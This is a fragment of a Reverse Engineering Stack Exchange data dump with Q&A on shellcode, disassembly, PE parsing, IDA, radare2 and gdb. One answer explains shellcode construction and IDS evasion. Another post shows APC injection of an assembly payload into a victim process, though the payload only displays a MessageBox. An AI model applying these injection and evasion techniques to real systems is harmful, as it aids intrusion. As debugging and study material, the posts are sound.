start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Can you explain in detail what each of them do? For example why there is a  push &lt;code&gt;$0x68732f2f&lt;/code&gt; in the first link? If this is an address then how can you know it before run time if we have things like ASLR and PIE? &lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not an address, it is the string &lt;code&gt;//sh&lt;/code&gt; (in little-endian), look at the character &lt;code&gt;0x2f&lt;/code&gt; which is &lt;code&gt;/&lt;/code&gt; (in ASCII code) repeated twice and, then, &lt;code&gt;sh&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning ASLR and PIE, these security mechanisms came a few years after shellcodes. ASLR was designed to prevent easy exploitation of buffer-overflow by randomizing addresses. This is not the worst thing against buffer-overflow exploitation and shellcodes, in fact. The worst is NX (non-executable stack). And, in fact, since NX is here we are now using ROP (Return-Oriented Programming) better than shellcode (but I guess this will be your next step once you understand these shellcodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to understand fully the shellcode, read the Aleph One paper... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the best explanation I know about it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;Why are these shellcodes so much different if they do the same thing? &lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They vary in shapes and size because of the IDS, once a shellcode is common, it can be scanned and found in TCP/IP packets and stopped during an attack through the network. That is why there exists a great variety of it (some are self-encrypted with various keys to evade IDS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, then, you also have to take into account the way you inject the shellcode in the program, you may have several limitations (only ASCII or UTF-8 characters for examples). This will give another set of shellcodes (for example, see &lt;a href=&quot;http://www.phrack.org/issues/62/9.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, as I said at the beginning you may have size constraints. Which tends to try to have the smallest shellcode possible.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-10-15T07:33:01.477" LastActivityDate="2018-10-15T07:33:01.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19624" PostTypeId="2" ParentId="19492" CreationDate="2018-10-14T17:54:56.707" Score="2" Body="&lt;p&gt;Found the solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a XOR checksum with an initial key &quot;5A&quot; (not including the first four HEX values).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02 00 01 01 [01 00 00 02 40 00] 19 03 &#xA;&#xA;5A ^ 01 ^ 00 ^ 00 ^ 02 ^ 40 ^ 00 = 19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25847" LastActivityDate="2018-10-14T17:54:56.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19626" PostTypeId="1" CreationDate="2018-10-15T01:09:56.860" Score="8" ViewCount="236" Body="&lt;p&gt;I have a library of ~65MB which uses this &quot;technique&quot; as a kind of PIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, it gets some kind of base address (it is always the same):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00708497      e800000000     call 0x70849c&#xA;0x0070849c      5b             pop ebx&#xA;0x0070849d      81c3ac442601   add ebx, 0x12644ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then it's used to reference strings or global variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x007084bc      8d832e29a8ff   lea eax, [ebx - 0x57d6d2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, is there any analysis command which could find these references?&lt;/p&gt;&#xA;" OwnerUserId="25996" LastEditorUserId="2147" LastEditDate="2018-10-17T19:27:53.797" LastActivityDate="2019-08-13T22:02:35.337" Title="Radare2 Call $+5 and register-based cross-references not found" Tags="|disassembly|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19628" PostTypeId="1" AcceptedAnswerId="19699" CreationDate="2018-10-15T09:21:44.503" Score="2" ViewCount="554" Body="&lt;p&gt;I tried the following payload for APC injection in Windows.&lt;br&gt;&#xA;It gets executed successfully(&lt;em&gt;pops up a MessageBox&lt;/em&gt;) but the &lt;strong&gt;process crashes after the execution of payload&lt;/strong&gt;.&lt;br&gt;&#xA;What could be the possible reason(s) for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Payload:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push   ebp                     ;save ebp&#xA;mov    ebp,esp                 ;start new frame&#xA;sub    esp,0x8                 ;make space for strings&#xA;mov    BYTE PTR [ebp-0x4],0x48 ;store strings&#xA;mov    BYTE PTR [ebp-0x3],0x0&#xA;mov    BYTE PTR [ebp-0x8],0x46&#xA;mov    BYTE PTR [ebp-0x7],0x0&#xA;push   eax                     ;save registers to restore the values later&#xA;                               ;(I think that I need not save all registers&#xA;                               ;but only the ones I use,&#xA;                               ;but since the process kept crashing after the payload execution&#xA;                               ;I thought let's not take a chance! :P&#xA;push   ebx&#xA;push   ecx&#xA;push   edx&#xA;push   edi&#xA;push   esi&#xA;push   0x0                     ;push arguments for MessageBox()&#xA;lea    eax,[ebp-0x4]&#xA;push   eax&#xA;lea    eax,[ebp-0x8]&#xA;push   eax&#xA;push   0x0&#xA;call   DWORD PTR [ebp+0x8]     ;call MessageBox()&#xA;pop    esi                     ;restore registers&#xA;pop    edi&#xA;pop    edx&#xA;pop    ecx&#xA;pop    ebx&#xA;pop    eax&#xA;xor    eax, eax&#xA;mov    esp,ebp&#xA;pop    ebp                     ;restore ebp&#xA;ret                            ;return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Injection code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;QueueUserAPC((PAPCFUNC)p, hThread, messageBoxAddr); //p: address of payload(written to victim process)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Error Message(From IDA Pro, WinDbg):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The instruction at 0x771C63BD referenced memory at 0x75C2442D. The memory could not be read -&amp;gt; 75C2442D (exc.code c0000005, tid 2948)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It basically says that &lt;code&gt;edi&lt;/code&gt; in &lt;code&gt;mov  ecx, [edi+2CCh]&lt;/code&gt; (coming after the payload execution) has an invalid address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembled code near crash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ntdll:771C63BD ; ---------------------------------------------------------------------------&#xA;ntdll:771C63BD mov     ecx, [edi+2CCh]    ;&amp;lt;--- It CRASHES here&#xA;ntdll:771C63C3 mov     large fs:0, ecx&#xA;ntdll:771C63CA push    1&#xA;ntdll:771C63CC push    edi&#xA;ntdll:771C63CD call    near ptr ntdll_ZwContinue&#xA;ntdll:771C63D2 mov     esi, eax&#xA;ntdll:771C63D4&#xA;ntdll:771C63D4 loc_771C63D4:                           ; CODE XREF: ntdll:ntdll_KiUserApcDispatcher+42j&#xA;ntdll:771C63D4 push    esi&#xA;ntdll:771C63D5 call    near ptr ntdll_RtlRaiseStatus&#xA;ntdll:771C63DA jmp     short loc_771C63D4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Call stack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ypO50.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ypO50.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25537" LastEditorUserId="25537" LastEditDate="2018-10-15T12:57:04.783" LastActivityDate="2018-10-23T12:05:52.723" Title="Why is the process crashing after executing my injected payload?" Tags="|windows|assembly|injection|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="19630" PostTypeId="2" ParentId="19606" CreationDate="2018-10-15T13:35:36.737" Score="7" Body="&lt;p&gt;The instruction in the branch delay slot is evaluated after the branch (or jump) instruction. The execution of the instruction in the branch delay slot does not impact the evaluation of the branch condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have observed the branch delay slot be used for a few things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Last instruction of basic block leading up to the branch instruction&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Branch test will not be dependent on the output of the calculation of the branch delay slot instruction&lt;/li&gt;&#xA;&lt;li&gt;Commonly seen with unconditional jumps/branches like &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;jal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The first instruction of the the fall through block. &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No side effects should be present if the branch is taken.&lt;/li&gt;&#xA;&lt;li&gt;Analysis will show that any registers impacted is not needed in the event the branch is taken&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The first instruction of block if the branch is taken&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If there are multiple paths to the branch target, this instruction will likely be seen multiple times with the different branches&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The load of a conditional value, often for return values&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20180411-00/?p=98485&quot; rel=&quot;noreferrer&quot;&gt;This article&lt;/a&gt; goes into detail about branch delay slots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As noted by Igor, the &quot;likely&quot; version of the branch instruction keeps the effects of the instruction in the branch delay slot only if the instruction is actually taken.&lt;/p&gt;&#xA;" OwnerUserId="25999" LastActivityDate="2018-10-15T13:35:36.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19632" PostTypeId="2" ParentId="19560" CreationDate="2018-10-15T19:40:49.810" Score="1" Body="&lt;p&gt;IDA does not accept assembly input, so you need to convert it to some binary format first. This is generally done with an &lt;em&gt;assembler&lt;/em&gt;, such as GNU Assembler or &lt;code&gt;gas&lt;/code&gt; (part of GNU Binutils and usually installed with &lt;code&gt;gcc&lt;/code&gt;), or different alternative assemblers such as &lt;code&gt;nasm&lt;/code&gt;, &lt;code&gt;yasm&lt;/code&gt;, &lt;code&gt;fasm&lt;/code&gt; and so on. If you need help assembling a specific file, you can ask on &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;Stack Overflow&lt;/a&gt;, providing as much info as possible.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-15T19:40:49.810" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19633" PostTypeId="2" ParentId="19594" CreationDate="2018-10-16T02:09:16.647" Score="3" Body="&lt;p&gt;The topic of pointer analysis is an important part of theoretical static analysis. Many articles and academic publications have been written about pointer analysis, this is a heavily researched field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the theoretical research, it is often an difficult issue to address even by skilled and trained reverse engineers. In certain cases it can be nearly impossible to retrieve the pointer without executing or emulating the relevant code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, for IDA Pro to provide a &quot;sound and complete&quot; solution, as you put it, is not a trivial task. This is highlighted by the fact this isn't really the disassembler's task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your specific questions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Could anyone shed a light on the point-to algorithm in IDA-Pro? I understood IDA-Pro is a commercial software so a high-level idea would be very much appreciated.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I'm aware, IDA's pointer analysis is quite basic. Register calls are only resolved if they're directly assigned and there's isn't a lot of taint analysis. It is important to remember IDA is not a binary static analysis tool, IDA is a disassembler (and a decompiler). Taint analysis, constraint solving, call graph analysis etc are usually better done by tools designed specifically for those purposes. Having said that, IDA does make an effort to include heuristics to help with that type of thing.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;What is the best practice to build a call graph with IDA Pro, considering we have decent amount of indirect calls which needs to be interred.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So again, IDA isn't the best tool to build a call graph if you're mostly focused on those cases where call targets are difficult to resolve or there are plenty of constraints to consider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are better tools for static binary analysis, as well as several questions about the topic here over RE.SO. My personal favorite is probably &lt;a href=&quot;https://github.com/angr/angr&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you spend time researching the theoretical topic and available tools and approaches before going forward. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="245" LastEditDate="2018-10-16T07:31:04.930" LastActivityDate="2018-10-16T07:31:04.930" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19636" PostTypeId="2" ParentId="19614" CreationDate="2018-10-16T12:07:33.930" Score="1" Body="&lt;p&gt;As far as I know there is no easy way to do that, but with some IDAPython or IDC scripting it is achievable. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Regarding renamed and re-typed global items (functions, global variables, label names, almost everything not related to the decompiled functions content): you can just export all this data as idc script (File--&gt;Produce file--&gt;Dump database to IDC file) and filter it. &lt;/li&gt;&#xA;&lt;li&gt;If you need only renamed items, you can see all the data in the Names window (View--&gt;Open subview--&gt;Names window or &lt;kbd&gt;Shift-F4&lt;/kbd&gt;). You can also iterate these names with IdaPython function &lt;code&gt;idautils.Names()&lt;/code&gt; and use &lt;code&gt;idc.GetType&lt;/code&gt; or one of its alternatives to get the corresponding data type.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Regarding types you created: you can use File--&gt;Produce file--&gt;Create C header file &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Regarding decompiler related changes: you can extend one of the decompiler &lt;a href=&quot;https://github.com/idapython/src/blob/master/examples/vds4.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDApython samples&lt;/a&gt; to show what you need: this sample dumps all user changes in the function at your cursor location, changing it to run over all functions should be trivial. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These actions should cover the most of what you probably need. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-10-16T12:07:33.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19637" PostTypeId="1" CreationDate="2018-10-16T12:13:17.380" Score="1" ViewCount="76" Body="&lt;p&gt;I have an old windows x86 application that no longer works properly since windows 8. This app creates files within its own folders for things like app settings. Unfortunately, Microsoft no longer allows this and I am forced to execute my app with admin permission so it can create those files within its folder in &lt;code&gt;Program Files (x86)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I was wondering if I can patch it by changing the directory of instead creating the files in the current directory it will instead create it at &lt;code&gt;%localappdata%\MyApp\&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the address of the code that creates the files and I know it uses the &lt;code&gt;freopen&lt;/code&gt; function with &lt;code&gt;r+&lt;/code&gt; or &lt;code&gt;wb&lt;/code&gt; modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried editing the path directly with a hex editor from &lt;code&gt;Data\Display\OptionData.opf&lt;/code&gt; to &lt;code&gt;%localappdata%\MyApp\od.opf&lt;/code&gt; but that didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options? I am new to assembly and reverse engineering but I really want to fix this without injecting a DLL and detouring the function. (my issue with detours is it sometimes gets false positive as virus by some AV)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm now thinking of doing a codecave. But like I said I need to change the directory to the localappdata directory. How do I do this? (and supporting as far back as winxp upto latest win10)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand in code (c++) this will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char* appdata = getenv(&quot;APPDATA&quot;); // wont work with winxp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or even:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LPTSTR GetSpecialFolder(int CSIDL) {&#xA;    TCHAR szPath[MAX_PATH];&#xA;&#xA;    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL | CSIDL_FLAG_CREATE, NULL, 0, szPath)))&#xA;    {&#xA;        PathAppend(szPath, TEXT(&quot;\\MyApp\\&quot;));&#xA;        CreateDirectory(szPath, NULL);&#xA;&#xA;        return szPath;&#xA;    }&#xA;    else {&#xA;        return TEXT(&quot;&quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8243" LastEditorUserId="8243" LastEditDate="2018-10-16T12:20:55.900" LastActivityDate="2018-10-16T12:20:55.900" Title="getting %localappdata% in asm" Tags="|disassembly|windows|assembly|x86|patching|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19638" PostTypeId="1" CreationDate="2018-10-16T13:49:14.987" Score="3" ViewCount="330" Body="&lt;p&gt;It is not clear how PTX is compressed in a fatbinary. I'm doing some research and by looking at the binary it seems a sort of LZ77 (or LZSS?).&#xA;I've prepared some tests:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Small PTX. A simple vec_add (poorly implemented): &lt;a href=&quot;https://pastebin.com/QF95YiAN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Input&lt;/a&gt;,&lt;a href=&quot;https://drive.google.com/file/d/1ouv2sXyYqm6TPg67ZMeN456EP9eFaNd4/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Output&lt;/a&gt; and &lt;a href=&quot;https://pastebin.com/k4zU09sa&quot; rel=&quot;nofollow noreferrer&quot;&gt;CUDA Source&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Larger PTX. lavaMD from Rodinia Benchmarks: &lt;a href=&quot;https://pastebin.com/BDb9wxdz&quot; rel=&quot;nofollow noreferrer&quot;&gt;Input&lt;/a&gt;, &lt;a href=&quot;https://drive.google.com/file/d/1c7yLuwcFITZKpwLbKQJh-90FdLgPLWkd/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Output&lt;/a&gt; and &lt;a href=&quot;https://pastebin.com/TasYV3bf&quot; rel=&quot;nofollow noreferrer&quot;&gt;CUDA Source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The question is the same of the following thread on&#xA;&lt;a href=&quot;https://devtalk.nvidia.com/default/topic/1042870/ptx-compression-method&quot; rel=&quot;nofollow noreferrer&quot;&gt;NVIDIA Developers Forum&lt;/a&gt; (I am the author of the thread).&lt;/p&gt;&#xA;" OwnerUserId="26014" LastEditorUserId="26014" LastEditDate="2018-10-16T15:09:27.537" LastActivityDate="2023-04-27T09:40:03.103" Title="How is PTX compressed in a fatbinary?" Tags="|decompress|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19640" PostTypeId="1" AcceptedAnswerId="19642" CreationDate="2018-10-16T16:18:25.090" Score="2" ViewCount="1351" Body="&lt;p&gt;I load the entire PE into an &lt;code&gt;std::vector&amp;lt;Byte&amp;gt; fileContent&lt;/code&gt; using &lt;code&gt;std::fstream&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I obtain the executable's dos header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IMAGE_DOS_HEADER* imageDosHeader = (IMAGE_DOS_HEADER*)fileContent.data();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I check whether the PE is valid(&lt;code&gt;MZ&lt;/code&gt; and &lt;code&gt;PE00&lt;/code&gt; signatures).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is, I get its import descriptor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMAGE_IMPORT_DESCRIPTOR* imageImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD)imageDosHeader + imageNtHeader-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);&#xA;&#xA;//Note: the VirtualAddress field equals 0x4FFC, so I assume it's valid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I iterate through the dlls and try to display their names as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for(DWORD i = 0; ; i++)&#xA;{&#xA;    bool isCurrentDllValid = true;&#xA;&#xA;    //if all fields of the current dll are zeros, then this dll is the last one, so break the outer loop&#xA;    for(DWORD j = 0; j &amp;lt; sizeof(IMAGE_IMPORT_DESCRIPTOR); j++)&#xA;    {&#xA;        if((*(DWORD*)((DWORD)&amp;amp;imageImportDescriptor[i] + j)))&#xA;            break;&#xA;        else if(j == sizeof(IMAGE_IMPORT_DESCRIPTOR) - 1)&#xA;            isCurrentDllValid = false;&#xA;    }&#xA;&#xA;    if(!isCurrentDllValid)&#xA;        break;&#xA;&#xA;    char* dllName = (char*)((DWORD)imageDosHeader + imageImportDescriptor[i].Name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is: an attempt to display the &lt;code&gt;dllName&lt;/code&gt; causes crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the &lt;code&gt;Name&lt;/code&gt; field is an RVA, but its value is &lt;code&gt;0x6C61766E&lt;/code&gt; (the same thing is with the rest of the fields, the smallest one is &lt;code&gt;TimeDateStamp&lt;/code&gt; with &lt;code&gt;0x637465&lt;/code&gt;, still abnormal one), while size of the PE is less than &lt;code&gt;0x7000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In hex editor, RVA of e.g. &lt;code&gt;&quot;KERNEL32.dll&quot;&lt;/code&gt; is &lt;code&gt;0x46F0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you any idea why is it so? Am I missing something really simple?&lt;/p&gt;&#xA;" OwnerUserId="25152" LastActivityDate="2018-10-25T07:07:24.743" Title="Wrong RVA values inside IMAGE_IMPORT_DESCRIPTOR" Tags="|windows|binary-analysis|pe|binary|binary-format|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19641" PostTypeId="1" CreationDate="2018-10-16T20:59:45.783" Score="0" ViewCount="109" Body="&lt;p&gt;how to use the command line to generate the byte file using IDA?&#xA;I know how to get the .asm but not the byte file &lt;/p&gt;&#xA;" OwnerUserId="26017" LastActivityDate="2018-10-17T09:28:55.980" Title="generating byte file with IDA batch command" Tags="|python|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19642" PostTypeId="2" ParentId="19640" CreationDate="2018-10-16T22:05:48.680" Score="2" Body="&lt;p&gt;Unfortunately the real life samples don’t always follow the nice and tidy specification; they only need to work on a specific implementation, not the ideal one described in the documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://corkamiwiki.github.io/PE#imports&quot; rel=&quot;nofollow noreferrer&quot;&gt;Corkami&lt;/a&gt; gathers details about &lt;em&gt;practical&lt;/em&gt; PE format features, for example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the Import Lookup Table is present, then it also determines the length of the Import Address Table, as they are parsed in parallel. In this case, the Import Address Table doesn't have to be null-terminated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or maybe this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the IAT is linked in the descriptor but empty, then the DLL is not loaded, and the file is loaded even with an invalid dll name - the descriptor is skipped.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So check if you have either situation. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-16T22:05:48.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19643" PostTypeId="1" AcceptedAnswerId="19645" CreationDate="2018-10-17T03:01:27.720" Score="2" ViewCount="376" Body="&lt;p&gt;I've been trying to analyze an ARM binary but cannot figure out how the operators and operands are stored in the bytes of a program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, by looking at the disassembly listing of an ARMv7 binary,  I cannot deduce what the opcode for &lt;code&gt;cmp&lt;/code&gt; is from these three lines, nor do I understand how it's encoded or how it's operands are encoded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp r5, #0; 0x2d00&#xA;cmp r4, #0; 0x2c00&#xA;cmp r0, r2; 0x4290&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How is the &lt;code&gt;cmp&lt;/code&gt; operator, and it's respective operands encoded into two bytes?&lt;/p&gt;&#xA;" OwnerUserId="26020" LastEditorUserId="2147" LastEditDate="2018-10-17T06:28:49.503" LastActivityDate="2018-10-17T07:49:38.513" Title="How are ARMv7 assembly opcodes and operands stored in bytes?" Tags="|disassembly|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19644" PostTypeId="1" CreationDate="2018-10-17T07:17:54.093" Score="1" ViewCount="726" Body="&lt;p&gt;I debug a ELF32 executable in Ubntu 14, I set gdb breakpoint in main, after i click run, the program generate a new process 13050 and exited, I can't use info register to display value and continue debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to deal with such situation, thanks&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks for the reply, let me give more details, program abc is  ELF32 file, it is currently running as process 10220, when i use gdb abc, break main, run, it kills itself ( process 10220) and generate a new process 13050, and this new pid is with another file name xyz.  when i display info register or disassembly, whenever i set set follow-fork-mode  to parent or child, it says program not exist in gdb. any advice? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in short, abc becomes xyz and abc is deleted by program, any solution?&lt;/p&gt;&#xA;" OwnerUserId="25349" LastEditorUserId="25349" LastEditDate="2018-10-18T01:22:29.123" LastActivityDate="2020-03-13T12:51:26.743" Title="new process id generated during gdb debug" Tags="|gdb|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19645" PostTypeId="2" ParentId="19643" CreationDate="2018-10-17T07:49:38.513" Score="3" Body="&lt;p&gt;See &lt;a href=&quot;http://lars.nocrew.org/computers/processors/ARM/ARM7/manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ARM7 Data Sheet&lt;/a&gt; &#xA;4.4 Data processing page 23.&#xA;But there will be the different encoding of the instruction depending on the instruction set (ARM or Thumb). See also this &lt;a href=&quot;https://stackoverflow.com/questions/10638130/what-is-the-arm-thumb-instruction-set&quot;&gt;question&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-10-17T07:49:38.513" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19646" PostTypeId="2" ParentId="19644" CreationDate="2018-10-17T09:13:47.233" Score="4" Body="&lt;p&gt;The common way to create a new process in linux (and the only one i know of) is using &lt;code&gt;fork&lt;/code&gt; and &lt;code&gt;exec&lt;/code&gt;.&lt;br /&gt;&#xA;When you fork the process, you create a copy of the current process with a new pid, which is passed to the parent (fork caller) - that's how you know how the parent and who the child process are.&lt;/p&gt;&#xA;&lt;p&gt;To debug child process you can &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Forks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;follow the fork&lt;/a&gt;.&lt;br /&gt;&#xA;Note that you can choose to keep either the parent or the child suspended while under the control of gdb but you can only debug one of them with the same instance of gdb.&lt;/p&gt;&#xA;&lt;p&gt;The usage of it will be (as seen on the &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Forks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;set follow-fork-mode [parent/child]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;parent = default; you will keep debugging the parent&lt;br /&gt;&#xA;child = you will start debugging the child&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;set detach-on-fork [on/off]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;on = detach the process you don't debug&lt;br /&gt;&#xA;off = keep the non-debugee process suspended under the control of the same instance of gdb&lt;/p&gt;&#xA;" OwnerDisplayName="user22970" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" 